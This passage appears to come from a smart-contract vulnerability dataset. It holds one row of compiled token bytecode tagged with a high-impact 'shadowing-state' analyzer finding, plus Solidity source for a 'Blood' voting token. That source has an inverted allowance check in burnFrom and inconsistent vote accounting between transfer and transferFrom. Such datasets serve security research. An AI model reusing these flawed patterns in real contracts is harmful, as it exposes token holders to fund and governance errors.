3546022913960400191505060405180910390fd5b8260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f21576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806132576029913960400191505060405180910390fd5b611f3681600354612b8490919063ffffffff16565b600381905550611f8e81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b8490919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff167f222838db2794d11532d940e8dec38ae307ed0b63cd97c233322e221f998767a6826040518082815260200191505060405180910390a25050565b6000600560009054906101000a900460ff161561210e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b612119848484612c0d565b90509392505050565b612136816007612cbe90919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167fba73eacdfe215f630abb6a8a78e5be613e50918b52e691bba35d46c06e20d6c860405160405180910390a250565b612190816006612cbe90919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167f15bf0aef1cc552f782bc5ad7121d42ea78efbfbec8dd9e16fb9f37967ad763fb60405160405180910390a250565b6000612271338461226c85600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d7b90919063ffffffff16565b61298d565b6001905092915050565b6001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f44d5fe68b00f68950fb9c1ff0a61ef7f747b1a36359a7e3a7f3324db4b87896760405160405180910390a250565b61232d816004612cbe90919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167fcd265ebaf09df2871cc7bd4133404a235ba12eff2041bb89d9c714a2621c7c7e60405160405180910390a250565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f1747ca720b1a174a464b6513ace29b1d3190b5f632b9f34147017c81425bfde860405160405180910390a250565b612425816004612e0390919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167f6719d08c1888103bea251a4ed56406bd0c3e69723c8a1686e017e7bbe159b6f860405160405180910390a250565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156124f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806131966026913960400191505060405180910390fd5b61250681600354612d7b90919063ffffffff16565b60038190555061255e81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d7b90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff167fc65a3f767206d2fdcede0b094a4840e01c0dd0be1888b5ba800346eaa0123c16826040518082815260200191505060405180910390a25050565b61266d816006612e0390919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167f9e8b5fbf24fd7f86d2666e8f27ffdeb7c0aa870faa1980ad7290677152938dfa60405160405180910390a250565b600061274e338461274985600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b8490919063ffffffff16565b61298d565b6001905092915050565b6000600560009054906101000a900460ff16156127dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b6127e78383612ede565b905092915050565b612803816007612e0390919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167fa6124c7f565d239231ddc9de42e684db7443c994c658117542be9c50f561943860405160405180910390a250565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156128cf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061320f6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612a13576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806134046024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612a99576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806132356022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600082821115612bfc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b600082840390508091505092915050565b6000612c1a848484612ef5565b612cb38433612cae85600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b8490919063ffffffff16565b61298d565b600190509392505050565b612cc88282611dbd565b612d1d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806133336021913960400191505060405180910390fd5b60008260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600080828401905083811015612df9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b612e0d8282611dbd565b15612e80576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f526f6c65733a206163636f756e7420616c72656164792068617320726f6c650081525060200191505060405180910390fd5b60018260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000612eeb338484612ef5565b6001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612f7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806133df6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613001576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806131bc6023913960400191505060405180910390fd5b61305381600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b8490919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130e881600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d7b90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505056fe436f696e466163746f72793a20697373756520746f20746865207a65726f206164647265737345524332303a207472616e7366657220746f20746865207a65726f2061646472657373506175736572526f6c653a2063616c6c657220646f6573206e6f742068617665207468652050617573657220726f6c654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373436f696e466163746f72793a2072656465656d2066726f6d20746865207a65726f20616464726573734348546f6b656e3a2063616c6c657220696e20626c61636b6c6973742063616e2774207472616e7366657246726f6d426c61636b6c69737441646d696e526f6c653a2063616c6c657220646f6573206e6f7420686176652074686520426c61636b6c69737441646d696e20726f6c65436f696e466163746f727941646d696e526f6c653a2063616c6c657220646f6573206e6f7420686176652074686520436f696e466163746f727941646d696e20726f6c65526f6c65733a206163636f756e7420646f6573206e6f74206861766520726f6c65526f6c65733a206163636f756e7420697320746865207a65726f20616464726573734348546f6b656e3a206e6f7420616c6c6f7720746f207472616e7366657220746f20726563697069656e74206164647265737320696e20626c61636b6c6973744348546f6b656e3a2066726f6d20696e20626c61636b6c6973742063616e2774207472616e7366657245524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573734348546f6b656e3a2063616c6c657220696e20626c61636b6c6973742063616e2774207472616e73666572a165627a7a72305820ed9380174e7081dbecb5eadb1e5f866ff129a40c99dc1330a82a04000a438f640029 | {"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}} | true | null | {'detectors': [{'check': 'shadowing-state', 'impact': 'High', 'confidence': 'High'}]} | [
101,
1014,
2595,
2683,
22275,
2620,
26224,
22907,
2683,
2050,
19317,
7959,
17134,
2050,
2692,
2278,
20958,
2509,
2546,
2094,
2683,
22203,
2581,
7959,
25746,
16932,
2581,
2620,
2278,
2575,
21486,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1019,
1012,
1014,
1025,
3075,
3647,
18900,
2232,
1063,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1010,
1000,
3647,
18900,
2232,
1024,
2804,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,479 | 0x95392f142Af1c12F6e39897Ff9B09c599666B50c | // SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.11;
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
/*
It saves bytecode to revert on custom errors instead of using require
statements. We are just declaring these errors for reverting with upon various
conditions later in this contract.
*/
error SweepingTransferFailed();
/**
@title A basic ERC-20 token with voting functionality.
@author Tim Clancy
This contract is used when deploying ERC-20 tokens with a uncapped mint amount
and includes voting rights. This token contract may also be swept of any Ether
or ERC-20 tokens that get sent to it.
March 15th, 2022.
*/
contract Blood is
ERC20, Ownable, ReentrancyGuard
{
using SafeERC20 for IERC20;
/// A version number for this Token contract's interface.
uint256 public version = 1;
/**
Construct a new Token by providing it a name, ticker, and supply cap.
@param _name The name of the new Token.
@param _ticker The ticker symbol of the new Token.
*/
constructor (
string memory _name,
string memory _ticker
) ERC20(_name, _ticker) { }
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
require(amount >= allowance(account, _msgSender()),
"ERC20: burn amount exceeds allowance");
uint256 decreasedAllowance = allowance(account, _msgSender()) - amount;
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
/**
Allows Token creator to mint `_amount` of this Token to the address `_to`.
New tokens of this Token cannot be minted if it would exceed the supply cap.
Users are delegated votes when they are minted Token.
@param _to the address to mint Tokens to.
@param _amount the amount of new Token to mint.
*/
function mint(address _to, uint256 _amount) external onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
/**
Allows users to transfer tokens to a recipient, moving delegated votes with
the transfer.
@param recipient The address to transfer tokens to.
@param amount The amount of tokens to send to `recipient`.
*/
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
_moveDelegates(_delegates[msg.sender], _delegates[recipient], amount);
return true;
}
/// @dev A mapping to record delegates for each address.
mapping (address => address) internal _delegates;
/// A checkpoint structure to mark some number of votes from a given block.
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// A mapping to record indexed Checkpoint votes for each address.
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// A mapping to record the number of Checkpoints for each address.
mapping (address => uint32) public numCheckpoints;
/// The EIP-712 typehash for the contract's domain.
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// The EIP-712 typehash for the delegation struct used by the contract.
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// A mapping to record per-address states for signing / validating signatures.
mapping (address => uint) public nonces;
/// An event emitted when an address changes its delegate.
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// An event emitted when the vote balance of a delegated address changes.
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/**
Return the address delegated to by `delegator`.
@return The address delegated to by `delegator`.
*/
function delegates(address delegator) external view returns (address) {
return _delegates[delegator];
}
/**
Delegate votes from `msg.sender` to `delegatee`.
@param delegatee The address to delegate votes to.
*/
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
/**
Delegate votes from signatory to `delegatee`.
@param delegatee The address to delegate votes to.
@param nonce The contract state required for signature matching.
@param expiry The time at which to expire the signature.
@param v The recovery byte of the signature.
@param r Half of the ECDSA signature pair.
@param s Half of the ECDSA signature pair.
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) external {
bytes32 domainSeparator = keccak256(
abi.encode(
DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)));
bytes32 structHash = keccak256(
abi.encode(
DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry));
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
domainSeparator,
structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Invalid signature.");
require(nonce == nonces[signatory]++, "Invalid nonce.");
require(block.timestamp <= expiry, "Signature expired.");
return _delegate(signatory, delegatee);
}
/**
Get the current votes balance for the address `account`.
@param account The address to get the votes balance of.
@return The number of current votes for `account`.
*/
function getCurrentVotes(address account) external view returns (uint256) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
Determine the prior number of votes for an address as of a block number.
@dev The block number must be a finalized block or else this function will revert to prevent misinformation.
@param account The address to check.
@param blockNumber The block number to get the vote balance at.
@return The number of votes the account had as of the given block.
*/
function getPriorVotes(address account, uint blockNumber) external view returns (uint256) {
require(blockNumber < block.number, "The specified block is not yet finalized.");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check the most recent balance.
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Then check the implicit zero balance.
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
/**
An internal function to actually perform the delegation of votes.
@param delegator The address delegating to `delegatee`.
@param delegatee The address receiving delegated votes.
*/
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator);
_delegates[delegator] = delegatee;
/* console.log('a-', currentDelegate, delegator, delegatee); */
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
/**
An internal function to move delegated vote amounts between addresses.
@param srcRep the previous representative who received delegated votes.
@param dstRep the new representative to receive these delegated votes.
@param amount the amount of delegated votes to move between representatives.
*/
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
// Decrease the number of votes delegated to the previous representative.
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld - amount;
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
// Increase the number of votes delegated to the new representative.
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld + amount;
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
/**
An internal function to write a checkpoint of modified vote amounts.
This function is guaranteed to add at most one checkpoint per block.
@param delegatee The address whose vote count is changed.
@param nCheckpoints The number of checkpoints by address `delegatee`.
@param oldVotes The prior vote count of address `delegatee`.
@param newVotes The new vote count of address `delegatee`.
*/
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes) internal {
uint32 blockNumber = safe32(block.number, "Block number exceeds 32 bits.");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
/**
A function to safely limit a number to less than 2^32.
@param n the number to limit.
@param errorMessage the error message to revert with should `n` be too large.
@return The number `n` limited to 32 bits.
*/
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
/**
A function to return the ID of the contract's particular network or chain.
@return The ID of the contract's network or chain.
*/
function getChainId() internal view returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
/**
Allow the owner to sweep either Ether or a particular ERC-20 token from the
contract and send it to another address. This allows the owner of the shop
to withdraw their funds after the sale is completed.
@param _token The token to sweep the balance from; if a zero address is sent
then the contract's balance of Ether will be swept.
@param _amount The amount of token to sweep.
@param _destination The address to send the swept tokens to.
*/
function sweep (
address _token,
address _destination,
uint256 _amount
) external onlyOwner nonReentrant {
// A zero address means we should attempt to sweep Ether.
if (_token == address(0)) {
(bool success, ) = payable(_destination).call{ value: _amount }("");
if (!success) { revert SweepingTransferFailed(); }
// Otherwise, we should try to sweep an ERC-20 token.
} else {
IERC20(_token).safeTransfer(_destination, _amount);
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/extensions/ERC20Burnable.sol)
pragma solidity ^0.8.0;
import "../ERC20.sol";
import "../../../utils/Context.sol";
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
abstract contract ERC20Burnable is Context, ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
_spendAllowance(account, _msgSender(), amount);
_burn(account, amount);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol)
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
